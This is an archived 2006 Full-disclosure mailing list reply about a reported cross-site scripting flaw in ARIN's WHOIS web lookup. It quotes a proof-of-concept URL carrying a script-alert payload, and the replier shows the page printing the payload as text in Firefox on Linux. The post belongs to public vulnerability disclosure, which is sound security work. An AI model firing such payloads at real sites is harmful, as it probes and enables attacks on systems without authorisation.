OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Re: [Full-disclosure] Arin.net XSS

From: Michael Holstein (michael.holsteincsuohio.edu)
Date: Fri Mar 03 2006 - 15:50:20 CST


> Here's a link that will probably work under both browsers
>
> http://ws.arin.net/whois/?queryinput=%3Cscript%3Ealert('666')%3C/script%3E

(Firefox 1.5.0.1 on Linux)

No match found for <script>alert('666')</script>.

# ARIN WHOIS database, last updated 2006-03-02 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/